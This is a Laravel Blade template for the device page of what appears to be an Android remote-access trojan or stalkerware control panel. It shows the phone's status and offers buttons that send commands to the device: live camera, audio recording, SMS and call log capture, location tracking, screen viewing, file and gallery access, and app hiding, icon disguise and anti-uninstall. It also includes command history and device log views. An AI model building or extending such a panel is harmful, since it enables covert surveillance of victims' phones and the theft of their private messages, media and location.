@extends('layouts.app')

@section('title', 'Device Details')

@section('content')
<div class="py-12">
    <div class="max-w-7xl mx-auto sm:px-6 lg:px-8">
        <!-- Device Header -->
        <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-2xl shadow-xl p-6 mb-6">
            <div class="flex items-center justify-between">
                <div class="flex items-center">
                    <div class="flex-shrink-0 h-16 w-16 bg-gradient-to-br from-red-600 to-red-800 rounded-xl flex items-center justify-center">
                        <svg class="w-10 h-10 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 18h.01M8 21h8a2 2 0 002-2V5a2 2 0 00-2-2H8a2 2 0 00-2 2v14a2 2 0 002 2z"></path>
                        </svg>
                    </div>
                    <div class="ml-6">
                        <h1 class="text-3xl font-bold text-white">{{ $device->device_name ?? 'Unknown Device' }}</h1>
                        <p class="text-gray-400">{{ $device->device_model }} • Android {{ $device->android_version }}</p>
                    </div>
                </div>
                <div>
                    @if($device->isOnline())
                        <span class="px-4 py-2 inline-flex text-sm leading-5 font-semibold rounded-full bg-green-900/50 text-green-400 border border-green-700/50">
                            <span class="w-2 h-2 bg-green-400 rounded-full mr-2 mt-1 animate-pulse"></span> Online
                        </span>
                    @else
                        <span class="px-4 py-2 inline-flex text-sm leading-5 font-semibold rounded-full bg-gray-800/50 text-gray-400 border border-gray-700/50">
                            Offline
                        </span>
                    @endif
                </div>
            </div>
        </div>

        <!-- Device Stats Grid -->
        <div class="grid grid-cols-1 md:grid-cols-4 gap-6 mb-6">
            <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-xl p-4">
                <div class="text-gray-400 text-sm mb-1">Battery Level</div>
                <div class="text-2xl font-bold text-white">{{ $device->battery_level ?? 'N/A' }}@if($device->battery_level)%@endif</div>
            </div>
            <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-xl p-4">
                <div class="text-gray-400 text-sm mb-1">Network</div>
                <div class="text-2xl font-bold text-white">{{ $device->network_type ?? 'Unknown' }}</div>
            </div>
            <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-xl p-4">
                <div class="text-gray-400 text-sm mb-1">IP Address</div>
                <div class="text-xl font-bold text-white">{{ $device->ip_address ?? 'N/A' }}</div>
            </div>
            <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-xl p-4">
                <div class="text-gray-400 text-sm mb-1">Last Seen</div>
                <div class="text-lg font-bold text-white">{{ $device->last_seen ? $device->last_seen->diffForHumans() : 'Never' }}</div>
            </div>
        </div>

        <!-- Command Panel -->
        <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-2xl shadow-xl p-6 mb-6">
            <h2 class="text-2xl font-bold text-white mb-6">Send Command</h2>
            <div class="grid grid-cols-2 md:grid-cols-4 lg:grid-cols-6 gap-4">
                @foreach([
                    ['live_camera', '📷', 'Live Camera'],
                    ['record_audio', '🎤', 'Record Audio'],
                    ['log_sms', '💬', 'SMS Logs'],
                    ['log_calls', '📞', 'Call Logs'],
                    ['lock_device', '🔒', 'Lock Device'],
                    ['change_wallpaper', '🖼️', 'Wallpaper'],
                    ['flash', '🔦', 'Flash'],
                    ['notification', '🔔', 'Notification'],
                    ['live_location', '📍', 'Location'],
                    ['live_screen', '🖥️', 'Screen'],
                    ['gallery', '🖼️', 'Gallery'],
                    ['file_manager', '📁', 'Files'],
                    ['list_apps', '📱', 'App List'],
                    ['device_status', '📊', 'Status'],
                    ['hide_app', '👻', 'Hide App'],
                    ['change_icon', '🎭', 'Change Icon'],
                    ['anti_uninstall', '🛡️', 'Anti Uninstall']
                ] as $command)
                <form action="{{ route('commands.store') }}" method="POST">
                    @csrf
                    <input type="hidden" name="device_id" value="{{ $device->id }}">
                    <input type="hidden" name="command_type" value="{{ $command[0] }}">
                    <button type="submit" class="w-full bg-gradient-to-br from-gray-800 to-gray-900 hover:from-red-900 hover:to-red-800 border border-gray-700/50 hover:border-red-700/50 rounded-xl p-4 transition text-center group">
                        <div class="text-3xl mb-2">{{ $command[1] }}</div>
                        <div class="text-sm text-gray-400 group-hover:text-white transition">{{ $command[2] }}</div>
                    </button>
                </form>
                @endforeach
            </div>
        </div>

        <!-- Recent Commands -->
        <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-2xl shadow-xl overflow-hidden mb-6">
            <div class="px-6 py-4 border-b border-gray-700/50">
                <h2 class="text-2xl font-bold text-white">Recent Commands</h2>
            </div>
            <div class="overflow-x-auto">
                <table class="min-w-full divide-y divide-gray-700/50">
                    <thead class="bg-black/30">
                        <tr>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-400 uppercase">Command</th>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-400 uppercase">Status</th>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-400 uppercase">Created</th>
                            <th class="px-6 py-3 text-left text-xs font-medium text-gray-400 uppercase">Executed</th>
                        </tr>
                    </thead>
                    <tbody class="divide-y divide-gray-700/30">
                        @forelse($device->commands->take(20) as $command)
                        <tr class="hover:bg-gray-800/30 transition">
                            <td class="px-6 py-4 text-sm text-white">{{ str_replace('_', ' ', ucfirst($command->command_type)) }}</td>
                            <td class="px-6 py-4">
                                @if($command->status === 'executed')
                                    <span class="px-2 py-1 text-xs rounded-full bg-green-900/50 text-green-400">Executed</span>
                                @elseif($command->status === 'failed')
                                    <span class="px-2 py-1 text-xs rounded-full bg-red-900/50 text-red-400">Failed</span>
                                @elseif($command->status === 'sent')
                                    <span class="px-2 py-1 text-xs rounded-full bg-blue-900/50 text-blue-400">Sent</span>
                                @else
                                    <span class="px-2 py-1 text-xs rounded-full bg-yellow-900/50 text-yellow-400">Pending</span>
                                @endif
                            </td>
                            <td class="px-6 py-4 text-sm text-gray-400">{{ $command->created_at->format('M d, Y H:i') }}</td>
                            <td class="px-6 py-4 text-sm text-gray-400">{{ $command->executed_at ? $command->executed_at->format('M d, Y H:i') : '-' }}</td>
                        </tr>
                        @empty
                        <tr>
                            <td colspan="4" class="px-6 py-8 text-center text-gray-500">No commands issued yet</td>
                        </tr>
                        @endforelse
                    </tbody>
                </table>
            </div>
        </div>

        <!-- Device Logs -->
        <div class="bg-gray-900/50 backdrop-blur-xl border border-gray-700/50 rounded-2xl shadow-xl overflow-hidden">
            <div class="px-6 py-4 border-b border-gray-700/50">
                <h2 class="text-2xl font-bold text-white">Device Logs</h2>
            </div>
            <div class="p-6">
                <div class="space-y-2 max-h-96 overflow-y-auto">
                    @forelse($device->deviceLogs->take(50) as $log)
                    <div class="bg-black/30 border border-gray-700/30 rounded-lg p-3">
                        <div class="flex justify-between items-start">
                            <div>
                                <span class="text-red-500 font-mono text-sm">{{ $log->log_type }}</span>
                                <p class="text-gray-300 text-sm mt-1">{{ $log->content }}</p>
                            </div>
                            <span class="text-xs text-gray-500">{{ $log->created_at->diffForHumans() }}</span>
                        </div>
                    </div>
                    @empty
                    <p class="text-center text-gray-500 py-8">No logs available</p>
                    @endforelse
                </div>
            </div>
        </div>
    </div>
</div>
@endsection